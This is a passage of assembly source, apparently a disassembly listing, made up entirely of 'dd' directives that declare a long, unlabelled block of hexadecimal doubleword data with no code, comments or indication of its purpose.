		dd 0A7173B07h, 183BC780h, 9E918B0Fh, 592231Dh, 17ED7840h
		dd 0CE0A7Ah, 0B9E9B144h, 2C203F2Ah, 5711AF00h, 0D7C55926h
		dd 2FC000B8h, 0AD09C3A0h, 8C01F7F6h, 751D6C23h,	1EE4900Dh
		dd 9F971CDDh, 0DFDADE67h, 0EDD440AAh, 68F8DB56h, 69578000h
		dd 479BC436h, 77820555h, 9DA566h, 854D7BFEh, 3601227Fh
		dd 547C1F01h, 0AAC89361h, 0D8B51737h, 7FB8001Bh, 0B19F09Ah
		dd 0F1701C00h, 21D5117Dh, 37C500C6h, 620E5E76h,	8F717CE0h
		dd 0B398CE02h, 0E81F330Ch, 0AC39B0h, 0A1218D14h, 0B688BEEBh
		dd 0B3086300h, 6ED4786Ah, 0E7EA0B70h, 0EC8ADD09h, 0B4A00029h
		dd 453464A4h, 95B89700h, 0C2F00572h, 0D1BD00F7h, 0E33196A2h
		dd 0DF005155h, 0A6C8132Bh, 291F270h, 0A0ECB399h, 9B836926h
		dd 0B0C458F3h, 3A7E6DC8h, 31098890h, 35EBFA4h, 904C7FA0h
		dd 746BCC05h, 617F53h, 84FAEEFFh, 2C47D0D7h, 90001C90h
		dd 38FC6CC6h, 76F9C1h, 188D0B8Ch, 1BC7EEDh, 3357C082h
		dd 17DE00CAh, 4A3CB186h, 40C03DC6h, 110CD282h, 0C8430144h
		dd 4C5871E0h, 5984407Bh, 40074C9h, 0B8A92B3Bh, 0F18C99h
		dd 0DE3143F4h, 513EAC27h, 628A3407h, 437FE9EDh,	87544928h
		dd 0BF74FBB0h, 0FC256069h, 0C29DCBBh, 8D9D34F7h, 0FF877900h
		dd 0E91DB923h, 379E2682h, 0B59F0964h, 628CA880h, 7024998h
		dd 0FAFB15D3h, 0F82CE379h, 0D9892Bh, 5C578DA4h,	4B26D691h
		dd 0E0CA8B1Ch, 1200C466h, 0BC10F9DEh, 6189006Fh, 67CF9721h
		dd 0B200F0FFh, 748AA359h, 3EEE515Ah, 2980D59Bh,	4A3E21D4h
		dd 3F725DC0h, 9C00CC94h, 90066DBDh, 14A9B0B1h, 0E882E0E9h
		dd 0DA03E600h, 15C62638h, 78E02260h, 0FA1F5B5h,	0EA13CAACh
		dd 0CB541C21h, 0E5F860E2h, 7AEC26h, 227E7C0Eh, 8018B176h
		dd 7F92D9C8h, 0DFA900B4h, 6935F17Ah, 9300E416h,	397714B7h
		dd 4546752h, 10C6DB97h,	5DC4E00Bh, 0D2F3F8A0h, 0FDF23100h
		dd 4792A7AAh, 0D33E0011h, 381B8843h, 573E36BDh,	91830E3Bh
		dd 466200C0h, 0F1D5E5h,	9C84C898h, 281215E2h, 49039000h
		dd 54684731h, 1F2C9E4Eh, 9711C198h, 0D08BF12Dh,	0A0B63DDh
		dd 2559B4h, 0C8C89D8h, 902F7120h, 6F2B00E5h, 37B63927h
		dd 0FDEE75A2h, 542DC100h, 5248D05Ah, 0DFE509C2h, 10623A34h
		dd 268A3681h, 8E55F032h, 0BEC55200h, 213CF66Dh,	98D803BDh
		dd 0B3D6B1D3h, 0BCC316EBh, 0F2CF0ECh, 0F3B0D900h, 5E1A5A41h
		dd 8B7C3C2Ch, 0D48828h,	0ADB9B710h, 0B440EFDFh,	0A6870702h
		dd 48FB0F72h, 1205CF8h,	9D7F032Dh, 604CAEF9h, 0B15C954Ch
		dd 12109B6h, 0D22500ACh, 0E389E170h, 77E4B6E0h,	0F50B00DBh
		dd 0F815765Bh, 0EA98D803h, 0E800E5EEh, 5A3FC151h, 76F5B9B4h
		dd 2A3700EEh, 0A8D749CEh, 6E2A94Ch, 4D40D217h, 17885D00h
		dd 7433D4B0h, 9BB80FAFh, 0B5605154h, 380ACD8Fh,	25070F76h
		dd 0E6103D6Fh, 6000E01Ah, 523F9971h, 0BD2A0475h, 8050704Bh
		dd 0ABD996A0h, 2888BC26h, 87C0A21Eh, 49D4CC9Eh,	0C845075Bh
		dd 0BCB0C709h, 5A012720h, 0FC356D50h, 0C07B9E4Ah, 0B2363AEBh
		dd 1E7C1D7Bh, 795EF600h, 27756BBFh, 9740F58h, 71C1E6CDh
		dd 80ABE973h, 9EF86A78h, 50AC8C54h, 0BEB0C9h, 3219D88Ah
		dd 0C73EF4AEh, 3AFA4874h, 129F803Eh, 68007ACBh,	8FB3E2A3h
		dd 50B00Eh, 495F9D10h, 0BCDDD332h, 0FA61DC00h, 81186AF9h
		dd 6CA60035h, 0E341B202h, 0AC00CD8Dh, 3A3177F8h, 9B0F06Fh
		dd 3EDD1312h, 4B089400h, 76032561h, 84F5208Ah, 2180538h
		dd 0C3C5C2D2h, 85E8C928h, 0EE5A1D24h, 0EDE00AF1h, 3D92003Ah
		dd 25975E06h, 0D401320Eh, 911A4324h, 0EEFC052Fh, 621D03F5h
		dd 31A92186h, 3A78C0E4h, 34A8F226h, 1F6FC2D3h, 0EF0A8360h
		dd 0E9CEC079h, 4663380Bh, 67BE5E05h, 415FC684h,	0B0217002h
		dd 0F031E51Dh, 502825D8h
		dd 1B00388Fh, 7027160Ah, 2C18C201h, 4E260376h, 0E31F1040h
		dd 0F3060031h, 8E8D1262h, 0F1F844E7h, 404EBF00h, 0AD3FA35Bh
		dd 98F3FF0Dh, 0F272EACh, 7ABC840Fh, 7DE57821h, 0ABC18089h
		dd 955BAF51h, 0B3B918B8h, 70521982h, 3D148500h,	442959E7h
		dd 0A99000DBh, 2E5A657Bh, 0A6608A8Dh, 0D5845191h, 192FEE2h
		dd 0FF5E9F49h, 0DC6A8142h, 0CA00174Ch, 13F3D4B2h, 650554h
		dd 9B534A50h, 19EB8727h, 8F291E00h, 0D6CACC72h,	0B5EE00A5h
		dd 4423E07Fh, 1F004054h, 0BC739F4Dh, 0C80513h, 376B6808h
		dd 0C47712ACh, 0DAD81F00h, 0F4C18A4h, 0C27CD7h,	0B63C3005h
		dd 67D366FAh, 76637B04h, 0B0D0E9B4h, 274E7029h,	0A880CB7Eh
		dd 8358583h, 756332B0h,	80619ED8h, 39119689h, 0DF80B714h
		dd 0B66ED387h, 0D518D959h, 0FB586F2Fh, 7CF70006h, 2D412111h
		dd 0E101AD0Fh, 32C0F49Fh, 27600534h, 50E000F3h,	0F586806Bh
		dd 11D1815Ch, 0F29BF004h, 0EB10C06Ah, 0C41F278Ah, 1B6C9200h
		dd 16331A5h, 78750085h,	6DDB3A16h, 0A10022D2h, 0BB617230h
		dd 0C88325h, 0B1E96E1Fh, 0ABA57C0Ch, 67031576h,	0B6B54101h
		dd 0F19CC81Eh, 3107022h, 8683F58Eh, 0F0C0205Ah,	0E0243959h
		dd 5000BD1Ah, 0EC473B4h, 8DC700BFh, 0D44BFB01h,	9C005809h
		dd 1CCDDCB7h, 0F2FFAEh,	0B6C0E5DEh, 2D761AC9h, 0F6CF0C07h
		dd 6D0099F5h, 0B644FE2h, 0E0355496h, 0BC937B81h, 823470E3h
		dd 23E20900h, 0F074CE76h, 0CDB70F80h, 0C280F57Ah, 654C7855h
		dd 5E313403h, 80414026h, 2E96D3h, 1D8211BFh, 0AEF58C01h
		dd 590BA500h, 468120D5h, 2604019Eh, 0C544E5CDh,	17F0E738h
		dd 8C005132h, 7BF897B5h, 0D301F2h, 6CED27AEh, 3AD11ADDh
		dd 8DA54C00h, 9DE905E7h, 45F000F6h, 0C02BFFD9h,	632AB32Ch
		dd 9F26D8CFh, 3A6874h, 0B9B6DC1Dh, 0FCD51506h, 1FA400ECh
		dd 0CDDD7324h, 703EDFA6h, 4C2980C6h, 3C48E9E5h,	0AF2012EFh
		dd 0D2004764h, 8E47909Ah, 0CA3FCEFCh, 0FB2703F9h, 0A093F7EEh
		dd 0E837191h, 90C4617Bh, 0A5CCA680h, 7000A0B1h,	0C52ACF7Fh
		dd 120A66h, 755A379Dh, 1556D5CEh, 430E4D00h, 0DAABB5AAh
		dd 6A2763Dh, 0D1C779B1h, 0F300B870h, 0AB2595B4h, 1778A36Fh
		dd 0C0F221h, 3F837C3Ch,	0D41E4790h, 22801EA7h, 741B909h
		dd 0CCF700DAh, 7699FB9Bh, 0D539CF5Bh, 0F540CD4h, 0D15821h
		dd 43331041h, 0CE659C6Fh, 0EAD69507h, 0BEAC719Dh, 264B01FFh
		dd 0D0F888B4h, 1162E0A9h, 6C743500h, 0F6A12DA8h, 50571E93h
		dd 2A2E4090h, 0F1277D64h, 8077FB3Ch, 0A0569A4h,	0ED9FE5h
		dd 0DEF3914Fh, 7FE1A7B8h, 6F12F51Dh, 717CAF40h,	2EF169Fh
		dd 4321AC29h, 87E0FE09h, 0F83FE1B9h, 792D00FCh,	0BB913B47h
		dd 5AA71488h, 0E907A898h, 4016DACBh, 0A2A16DEAh, 670EB100h
		dd 140750Dh, 0FE62EA4Fh, 0AC0A04EDh, 90D3DCCBh,	48704D10h
		dd 110072F2h, 1CD5D001h, 52A66CEh, 99D871A8h, 0C39C40A3h
		dd 14C8E44Ah, 1B69EE03h, 0A801B8D9h, 3DF8D645h,	0F4822DA4h
		dd 0F0E7734Ch, 3F8C8280h, 6B7678E2h, 0DEAF0D00h, 0F5343168h
		dd 64D507C4h, 666AAD8Eh, 0A6301089h, 0A9F956F7h, 0CA201FD8h
		dd 63B2809Ah, 2C48FA38h, 0D7FBE400h, 6640CD49h,	463E1273h
		dd 658000A6h, 1C9C2CF4h, 0B33FE004h, 2E40CE97h,	193A266Eh
		dd 0F416D4A1h, 6D0387AFh, 0EE63FE86h, 0DD4000A4h, 58661C04h
		dd 7180225h, 0FE18CE8Eh, 12550073h, 771C08D4h, 95007E3Dh
		dd 8EEAAD24h, 0C43426h,	0EF79C14Bh, 1304A035h, 6A565700h
		dd 383D81Eh, 9B9107A9h,	0C4DB19FAh, 4658C34Fh, 0BDF0A3F0h
		dd 62162F1Fh, 0B0406ED3h, 0F2A870DCh, 2942009Dh, 0C4F4557Dh
		dd 209AD0E6h, 49B82600h, 0A7F0898Ah, 0B8D75071h, 0D0EA55h
		dd 667AC30Ch, 4DCD25A3h, 3D0022F8h, 0C4FD0EDDh,	1E3CE4h
		dd 0BD530D07h, 0A82769CBh, 0AE008873h, 8DBA265Fh, 0FEAD5C2Ah
		dd 1F5A007Dh, 5E3B2B11h, 0D4F62C86h, 0D2002298h, 97E06461h
		dd 7F406F14h, 0AC22126Ah, 4212001Dh, 0EEB20D9Ah, 0DF069312h
		dd 0C067D800h, 37FEB81h, 0E6F7F89Ch, 780024A3h,	1943D382h
		dd 3333CA4h, 6791AE51h,	0EE88282Ch, 2D00AFB6h, 0F3F6A23Ah
		dd 0FF7D79h, 7FAC4732h,	0E25B6A8Bh, 0A5A9FB00h,	737B9D4Eh
		dd 383749D4h, 123BE448h, 0BDEB6D80h, 14FCB76Ah,	0BF7F7101h
		dd 70839C5Eh, 0F93EB840h, 0BD64C0DEh, 0FA92C14Eh, 7371241Ch
		dd 319C6300h, 478582h, 0E7150BF1h, 0AB6CC47Bh, 4F526101h
		dd 0C632653h, 2E3A5AE0h, 1712D6Ah, 411A4D99h, 6E9ACC87h
		dd 4E6F070Fh, 1B1F203Bh, 36E998h, 4B5C0E43h, 4599E168h
		dd 1CA87F5Ch, 94830FB8h, 883D1F12h, 0D71D2Eh, 56BF215Ch
		dd 65E0C8A4h, 1F112607h, 0A5513398h, 1C2094B0h,	70257361h
		dd 97180E48h, 417D20DEh, 0DF23A34Fh, 47A5CCA7h,	3C0E5400h
		dd 9E740540h, 0CCD16D9h, 6BCC0092h, 0F4CA646Ch,	0F0E6C701h
		dd 1641E337h, 23C2B740h, 0F34C01BDh, 432F39B3h,	8DCFD8D1h
		dd 0B9641F00h, 0DFF1A8EEh, 7140009Ch, 6236A62h,	9200AC81h
		dd 0E894106Eh, 1F95C6ADh, 0D228A037h, 55F8004Ah, 0DB6DDF5Ch
		dd 0A2002CBAh, 62608053h, 0FD69B8h, 27E40489h, 44DE1AA7h
		dd 70265D00h, 94094CDh,	0E0B90075h, 812B3C8Bh, 0C100BB4Ah
		dd 36D9D6F1h, 0E24EA3F7h, 87FB00CAh, 7DB75BE4h,	0D23FF2B3h
		dd 879A3D48h, 74B06DDh,	6411F6E0h, 0AD4C1EE5h, 3B14CB66h
		dd 810F9180h, 0A800E837h, 0F93A3C8Eh, 7DB0FDh, 0ACDE76B8h
		dd 0C3C21E1Fh, 480AD60Eh, 747EA086h, 1473D099h,	0A9B9B59Bh
		dd 119A7700h, 0DF27D518h, 0D9916900h, 0FC9DF8F2h, 1C7800D6h
		dd 84813552h, 640E481Dh, 0A0EF9777h, 1CD7DC5h, 270A0089h
		dd 0A539BAE8h, 6812ACD8h, 0E30032A2h, 0FD6F9561h, 19D50BCBh
		dd 0F8815AE6h, 0C4F1AE52h, 0C3768288h, 0AA76BB0Bh, 0EAC9870Eh
		dd 2E8DD140h, 738A057Ch, 0D01947B9h, 0BB90D83Eh, 0CA664400h
		dd 3AE1A15Ah, 0DCC800F7h, 850C7C54h, 0F20024C1h, 70A825B3h
		dd 0E2C2626Ah, 350100A3h, 6F4A51F7h, 0BA002479h, 18E1ED9Ah
		dd 1F994EAh, 1B854F91h,	403B54A6h, 0C62FF5CEh, 969E8A00h
		dd 79260EB2h, 0A19C0034h, 0C243E845h, 4A1C22C7h, 0E4004297h
		dd 0BB393DBAh, 0D8D2008Eh, 9FAD7956h, 0BD003727h, 0C9CE0418h
		dd 3894E965h, 8003B134h, 0D02E0838h, 0FADA84C8h, 19019492h
		dd 75278B0Eh, 2FDC1564h, 0E97063h, 9DEE39AFh, 9C914570h
		dd 1278FB00h, 0C7939B1Ah, 0AD070047h, 7DA2E6B6h, 29276681h
		dd 0B1D4E3h, 77997967h,	0E148F9E4h, 3C2C0025h, 14E7105Bh
		dd 63700912h, 0F0AF7791h, 0E9042963h, 161C6990h, 18F57606h
		dd 30A0A89Ah, 0C2103E15h, 6E81814Fh, 24F70007h,	7478E7E5h
		dd 287A6328h, 0ACC0A700h, 0F7FE10C3h, 3120013h,	0C999757Bh
		dd 19C0C4D4h, 21F54760h, 3E2C12CEh, 54B800DFh, 0CA4AC50Ah
		dd 0F065442Eh, 0AB1E6AACh, 96736180h, 3BA619D3h, 13B08869h
		dd 0ED2A5F80h, 37C80600h, 0C6D20B4Ah, 3580287Fh, 0F1E8E0h
		dd 1CBBB145h, 3DA9E3ADh, 0CB57F001h, 7FD2D52Ch,	0F8908CF0h
		dd 3CCD908Eh, 0BA9E22C4h, 4A53CCC1h, 0A22B1398h, 517A049Fh
		dd 88C95160h, 2CB3708h,	66965A5Eh, 20605611h, 911832DEh
		dd 1C867008h, 0B71EA03Bh, 0AE0AE598h, 184C2094h, 872403B9h
		dd 909F7881h, 9941CFB3h, 5F509404h, 0DF4E1418h,	6A18184Ch
		dd 0A0911209h, 0A0366058h
		dd 0F996981Ch, 95F8498Dh, 0B4500D18h, 60211809h, 849A1F0h
		dd 708F0409h, 5E8ADC89h, 0C9B61944h, 140994B8h,	170C028h
		dd 0C56B512Bh, 0A121908h, 0C14920Ch, 50D11627h,	0B640EB65h
		dd 508A4037h, 515E58h, 97EE7543h, 184859Fh, 4D44B5E0h
		dd 0ED240750h, 5A1160FBh, 90D1BF8h, 0AF042143h,	25136C1h
		dd 9D8EF04Eh, 59195F60h, 0A106F1h, 7F3B65EBh, 2B45EAA4h
		dd 20715428h, 0FC669B00h, 0E8ADDB89h, 189561DDh, 98B0BF2Ch
		dd 9B69E539h, 0E959CFC3h, 5149EDACh, 0ECE22C00h, 9B3765A5h
		dd 30177A8Bh, 1861F733h, 4A194144h, 9210E654h, 55FC7F8h
		dd 826DE511h, 78340E6Fh, 489D7486h, 6958421Fh, 908B3403h
		dd 23C69DD0h, 0E63C0008h, 67FAC562h, 0D701102Fh, 0DA944DF8h
		dd 0A0835193h, 90302226h, 0EC23080Fh, 3B4F1E44h, 19C1FB9Eh
		dd 8E65748h, 0BCC3D250h, 0A114FAA0h, 837A8C00h,	40C7C995h
		dd 3AC80094h, 49F552Fh,	3E001351h, 24565FFDh, 529D85F5h
		dd 1F05C429h, 43A433CEh, 6C8BA68Ch, 3800E973h, 4250B792h
		dd 0CE963324h, 0DA202E89h, 0A4946D4Bh, 9C90D578h, 982F6603h
		dd 412B333Dh, 7AE0D029h, 0A360A013h, 0EAFCF9AFh, 60FD03DEh
		dd 0F27FDA24h, 67BAFBC8h, 7A366E79h, 0C1E131B3h, 8AEC5509h
		dd 0D040CEFDh, 1C9037EBh, 17F3103h, 8A9C6F62h, 0F2E3E9h
		dd 4E4ACF21h, 3C70BF94h, 2EBBA1C0h, 5022253Bh, 4882AC16h
		dd 0EC1EF826h, 0D879C043h, 6BBFE327h, 50491332h, 142C4A01h
		dd 4810C1A8h, 0E0A1FF93h, 5412EE6Ch, 38483666h,	0C182BB64h
		dd 9A7ED552h, 7C10B894h, 1884557Bh, 0D8340024h,	42511Fh
		dd 0FD1389Fh, 2873773Bh, 50061A00h, 0A4B629C5h,	1BBE1293h
		dd 9020088Bh, 0E0237D80h, 0A097BA17h, 37AF5A4h,	52785029h
		dd 54F8BE98h, 7B78D0FDh, 0A216990Ch, 39C836h, 9C3E22D1h
		dd 23AFABD4h, 181971F8h, 24605F9Bh, 0F799BB13h,	52AC2499h
		dd 2CE8AE3Ch, 0B8203459h, 0C02D4E44h, 1A836031h, 0E4249C5Ah
		dd 0D8A0DC6Ch, 0EB4FFA0Eh, 8C618A97h, 4F1E858h,	7AFC7153h
		dd 884494C2h, 393059D0h, 7F01318Ah, 1820F92Fh, 423091F6h
		dd 80CA43F7h, 95972C80h, 4CA90F03h, 64E9012Fh, 4940C016h
		dd 91C360DAh, 23D54671h, 0DE5B7800h, 0EB6A9CCBh, 0CDF90C03h
		dd 89403F27h, 0F139640h, 0AA3BFA67h, 0C9D9E85h,	5B292248h
		dd 0FA8F10F1h, 3992618Ah, 20E6B8EBh, 58A43D88h,	68969050h
		dd 515790C4h, 737E7037h, 0F5793D99h, 6FC06612h,	958E2000h
		dd 4BAA2Fh, 0CC941EECh,	2613B59Ch, 0EA67D100h, 2461011Dh
		dd 0C21203C9h, 50B69621h, 786468E2h, 0DDE10106h, 0A1716214h
		dd 0B0426334h, 0E641188Fh, 2152281h, 3302134h, 1A00B864h
		dd 73C9434Eh, 3C8EFD3Bh, 4F00EB66h, 0BA109178h,	3848E4F9h
		dd 3497438h, 7DD302B0h,	9091E3AEh, 5F9718Ch, 9D54424Dh
		dd 0BAF890F1h, 0FA0C55ABh, 813F3663h, 61731F9Fh, 21003C77h
		dd 3BB7D825h, 0FE136729h, 480830E1h, 0C1C8A849h, 0D6192218h
		dd 5010809Ch, 0A2D98FECh, 136315CCh, 282AC8F6h,	6ECD0098h
		dd 38904ABAh, 0BE1312A0h, 0FC0EE9EBh, 2833A17Eh, 0F4C53671h
		dd 2616464h, 4C7ED86h, 0E0846523h, 8C5007h, 98EF6F24h
		dd 7F23F05h, 0A7DAA2E1h, 50EAC635h, 7200437Fh, 25531836h
		dd 0C19DDF8Ch, 192171E8h, 3457DC51h, 9693B90Bh,	0CF5881E3h
		dd 509A6B1Bh, 9840699Eh, 0AA78FAEAh, 1D8B710Eh,	0DEFE81DCh
		dd 0FACBBA3Bh, 333C6052h, 4F0A1FE9h, 0A31B0FE5h, 4B101803h
		dd 7A9480C5h, 178051ADh, 3EA60C11h, 0AEAE2F55h,	20AA18C7h
		dd 0EEC1EEBh, 830D18C2h, 0D83DCC66h, 90CAE12Ch,	9CD70F3Eh
		dd 50B025EDh, 0C2C03880h, 0F8165A3Fh, 3B660163h, 0AA0131F2h
		dd 0A0B830A0h, 0F48141E5h, 9C91007Eh, 0C06B6D42h, 0DE0A7B87h
		dd 28E7E525h, 343F1886h, 26DC9019h, 8220F9DAh, 9036647Bh
		dd 0ABE6C921h, 456058h,	0A6DB4C0h, 0EBEAF8D0h, 0A6597860h
		dd 82DA1343h, 7EA3900Eh, 0D6F16B09h, 77C0F870h,	9279A962h
		dd 11C8626Eh, 8458497Ch, 613CA054h, 0D006E27Bh,	741D84F1h
		dd 0E112A0D5h, 8405E0Bh, 0EBDDB989h, 0E448A88Ah, 0A8387DFh
		dd 3D4A8BFh, 83E82048h,	3839164Fh, 70238F24h, 41EC6098h
		dd 300F0179h, 80A9DA66h, 0BA305094h, 7A8B314Eh,	0AC0F2E9h
		dd 17909A35h, 31E00650h, 2F3C395Ah, 0AE3C8201h,	9348DFBFh
		dd 2798F0CCh, 4011DF55h, 50793E35h, 9819F7h, 94DDD44h
		dd 0C4E97198h, 5363C042h, 8B2F56C9h, 84904710h,	0D0A1F324h
		dd 1E1B1AC0h, 416A3371h, 80F13A78h, 691EDF77h, 1352ED15h
		dd 0ECF03043h, 0CE23A09Eh, 50F325E3h, 2C202421h, 738733Dh
		dd 5A4E338Dh, 44C194A4h, 48349335h, 7202062Eh, 102D23C9h
		dd 53161809h, 605801C1h, 78D06C62h, 1C0E86Ah, 95F6C542h
		dd 30311963h, 0CD891240h, 5820405Fh, 422D2421h,	808116FBh
		dd 2472517Bh, 1702AB20h, 59FC63F8h, 7140E85Fh, 0AC0E54E4h
		dd 4354AAEEh, 0AB419824h, 21DE61E3h, 20BBF94Ah,	6063C044h
		dd 0E8206140h, 18DC5898h, 0B1ACEBDEh, 0F8123392h, 384A2773h
		dd 3C840C8Eh, 0F5444B09h, 0B4903113h, 256F35F0h, 0A49DDF4Ah
		dd 7F0485F4h, 3B171002h, 0C994C29Ch, 0C0CA3860h, 830610Ch
		dd 0DF203981h, 5AC99000h, 2DCAD3h, 289E9D65h, 982F052h
		dd 0CAA8000h, 0BF36D760h, 5086F923h, 69678DA0h,	0E3884E00h
		dd 0A5252A47h, 0F77A008Ch, 0D844F935h, 0E100E04Fh, 0B8DB2965h
		dd 13483BC3h, 6F64A2h, 990E8D8h, 76273D8Ah, 0B8C8A08Dh
		dd 3056E1h, 5A625431h, 5B5D2B58h, 4CA4200h, 0C927A9C2h
		dd 0D7DF180Bh, 0EA71F1D0h, 94AC3094h, 6864CA60h, 0FDBF05F4h
		dd 0D3FA7146h, 21003C5Ch, 0A0044323h, 4FD708h, 0D0D33F0Bh
		dd 0E1C48530h, 8287EB0Bh, 1C20029Bh, 0F1ACA54Eh, 6C835CC0h
		dd 0ACB114h, 91A4789Bh,	0DA1649BBh, 7C053A13h, 6480F70Bh
		dd 86F68Bh, 0F8FC52B6h,	7BE0F083h, 390710Bh, 2328A095h
		dd 0E6FD9893h, 0BA5A00C6h, 3C451C0Ah, 0D2008A94h, 0D6EE1250h
		dd 30E2259Ah, 9BC84F2Fh, 34B67724h, 0BB977080h,	0FA257F10h
		dd 51D40117h, 5F5E9969h, 0BBF1BC24h, 5A109B6Fh,	7076E011h
		dd 689C0090h, 23F53CD1h, 7C1CEBD7h, 98267E85h, 5CC40B80h
		dd 10CDF37h, 0D2CB53D5h, 307FF610h, 0E70794D5h,	0EC6C5EFBh
		dd 98B2888Ah, 266D2036h, 1D2EDF6Fh, 6C11D80Eh, 0F97F0F7Ah
		dd 0A1235F98h, 6DD81F9Fh, 5D00C9DAh, 5BE2CABBh,	2551193Bh
		dd 0B420299Ah, 364C11C0h, 4D827701h, 57FA6655h,	0C04FA9D0h
		dd 4C29B720h, 7C014713h, 1CB845CFh, 0B448BEDFh,	816D609Bh
		dd 0D0C6B309h, 0FF71B67Fh, 775B2500h, 0EDC77515h, 288B0AD6h
		dd 64986Ah, 33AEE70Ch, 8D03A58Fh, 1E917168h, 1999009Ch
		dd 41826698h, 0F10021C8h, 6714EA51h, 74CF32AEh,	2B7A1299h
		dd 2578829Bh, 819DE080h, 90493853h, 0A24B005Ch,	65120641h
		dd 65EEE459h, 4008087Dh, 4299AEC4h, 0A2019D72h,	0FB2887D0h
		dd 0B42D3625h, 0F063874h, 3F80C2B9h, 912C2D0Eh,	0B8006B04h
		dd 3DB6A8D4h, 48E83CBDh, 9613C08Ah, 521820C9h, 0C4908EF9h
		dd 0F22545E0h, 402007FBh, 4320C870h, 7B6A7F88h,	0F23E18F3h
		dd 779A21F7h, 0C709F7B0h, 32F425Ah, 0B8F56C24h,	8ED7B5Bh
		dd 947D7E7Fh, 0D2AAB580h, 12569215h, 1173121h, 23D4C28Ch
		dd 3A14266Eh, 8904DC9Ch
		dd 32BC6836h, 6E4202E8h, 6AC9DC52h, 0DA81E851h,	629D8C70h
		dd 44B0D850h, 161B0158h, 0E2B4F8AEh, 660898ACh,	69D2321h
		dd 37D1E458h, 0BC006149h, 51C6F444h, 3DB9FECh, 2F808FFFh
		dd 45D21DEAh, 5A3E444Ch, 2A77884Bh, 51636257h, 5480C204h
		dd 0E2EB4E32h, 52FC076Eh, 0D4E07F71h, 21D4C833h, 0ADA36900h
		dd 77C53491h, 0E8C471CAh, 9721C0F6h, 8548A36Fh,	0BF2B6A00h
		dd 8BD804BDh, 0E6AD24D9h, 1136430Ch, 17CEC100h,	7F8BEF9Ah
		dd 1F09EA5Dh, 47C35B06h, 212079BDh, 333817D5h, 9C8F28E4h
		dd 41028B46h, 86198C58h, 0F6105331h, 541F5899h,	0FA528494h
		dd 661F0441h, 75205DF2h, 0B28A0060h, 741BB377h,	694CFA11h
		dd 3B15133Ch, 433E4462h, 24080C18h, 3561557Eh, 6CD90567h
		dd 0E09E1B17h, 401A51B5h, 7D89001Ch, 880511F3h,	69003BD0h
		dd 93EDEA08h, 51A5646h,	38B2E86h, 0C2D44071h, 39DCBD96h
		dd 0ECE26200h, 6954BAAFh, 84970921h, 0A018479Bh, 1700147Bh
		dd 94423CE6h, 8816FDh, 7960618Ch, 0AA43774Bh, 0BA04867Fh
		dd 7151A9ABh, 361848Ch,	42CF0147h, 0AB9EBEAh, 651C6053h
		dd 0B8426C45h, 0E3F213A4h, 8E4C34FAh, 0B8633138h, 5C004FAFh
		dd 3F0012E4h, 0C5D37FFFh, 4C0140h, 0EFD7320Ah, 8EF70CD0h
		dd 0D833A312h, 21605086h, 0E910E6BEh, 0D0783793h, 0FEE69FC9h
		dd 3E41F900h, 70B01F8Ah, 0D67B0C79h, 4241A937h,	0C0395624h
		dd 3C310540h, 0F477A60h, 451676DFh, 0C0EC37D2h,	32565F3Eh
		dd 2CCBB71Dh, 2781800h,	4C440106h, 5AE8743Dh, 3C068143h
		dd 0D1740330h, 3283D505h, 0A50069C3h, 921BC827h, 1CB00162h
		dd 3985787Eh, 5298D47Dh, 652FB8A8h, 0F3F70F00h,	0AFB52B69h
		dd 1D3F6D9h, 0C107CD14h, 616520C4h, 21C6274h, 5A171991h
		dd 0FFBBC334h, 78ECE7C0h, 0DC1C52ADh, 32D16A00h, 715428C0h
		dd 3CBAFC17h, 37C8B831h, 39C07118h, 9D511767h, 7FEC1724h
		dd 0FC0C540Ch, 85A28201h, 0D8E9E526h, 58C1150Bh, 735FF667h
		dd 402F202Ch, 4416F17Ch, 6AAD1C40h, 320EB2Ch, 403765A0h
		dd 49DE3054h, 0E8263B74h, 2F0138C5h, 64878DF9h,	3B121848h
		dd 57849488h, 0E8624BCAh, 1D740094h, 66B2607Bh,	8BA0043h
		dd 0EC9E2DB6h, 5D00823Ch, 8AA6DE0Ah, 1B3DF7Dh, 10D3E7E5h
		dd 0C86541F0h, 2401C2D8h, 0ADEF82Fh, 80B19C17h,	1046BCB9h
		dd 0C721F3Fh, 3CB955D1h, 38055079h, 30223995h, 3CAA4CC8h
		dd 0E30F2B78h, 8139925h, 68C40F9Ch, 8C928CC0h, 919C99C4h
		dd 31D800EFh, 58B138A0h, 0FC2800EDh, 0E7186890h, 0C400C598h
		dd 21B84A46h, 21433F2h,	253AE3E2h, 0C040EEF3h, 2000631Eh
		dd 0B8E46C22h, 76BCBA0h, 8165A10Eh, 6FF240E9h, 0F73D1E35h
		dd 0B043245Bh, 0E4B0E035h, 206A415Dh, 48C51ACh,	196E5843h
		dd 209A62B6h, 0EB589C10h, 1D35045Ch, 0FDBD4C45h, 3244706h
		dd 16286042h, 6040511Ah, 904C0744h, 11127823h, 4FA50062h
		dd 8C17A04Bh, 0ABB1CC9h, 9789856Ch, 0E8AF0785h,	7E806F6Dh
		dd 0DE3903DBh, 0CD285Ch, 30B695B9h, 589788CBh, 982608F9h
		dd 1229000Bh, 0CF8BE0CEh, 0A33E6C78h, 8AC006C9h, 106BBCh
		dd 0AC9A0B77h, 0B7ED5A45h, 0B2531A1Dh, 206A2E0Ch, 9B621FD6h
		dd 0EC40C1CEh, 0E466C846h, 0EAF05E30h, 95183401h, 269DA680h
		dd 7BDC2F8h, 0C114E870h, 0B65A70C0h, 8C3ED105h,	56BF0083h
		dd 34888E5Dh, 2B13A09h,	58860780h, 38115F50h, 0F697A300h
		dd 51BE530Fh, 9165C26h,	0D776C50Fh, 36294E80h, 1200E5D2h
		dd 8DFF4455h, 3B48506h,	39549DA5h, 0F8605F79h, 75F5C649h
		dd 17ED0667h, 81D9FA4h,	50692560h, 7D35F5ACh, 0BF5F07C8h
		dd 5C958BE1h, 570097F9h, 0C1F0155Bh, 11C3F1Fh, 0AA792C80h
		dd 0E5BE7750h, 0F9498DF8h, 78BE08BFh, 0D1E0E800h, 0A9EBDC8h
		dd 0F910370Ch, 156A055h, 0EC3CB020h, 0CC3A6814h, 3475C738h
		dd 5D0C8B77h, 48B723E7h, 683D00D4h, 3E88CA15h, 1100544Bh
		dd 0E7451093h, 15DAAE6Fh, 0F8CF0295h, 520A5A3Bh, 70208E68h
		dd 338C1DA1h, 8FB1A5F0h, 9F89E990h, 0D5E81607h,	69307A11h
		dd 142E482h, 0D6D1E543h, 5031D0EDh, 0B326C08Ch,	0DE008E7Bh
		dd 978AEF45h, 1EC70B61h, 5A05F8h, 2C3DAC9Fh, 0C829D2A2h
		dd 2E009462h, 0D5DE650h, 84A00208h, 0BA6C4AF7h,	4C87044Ah
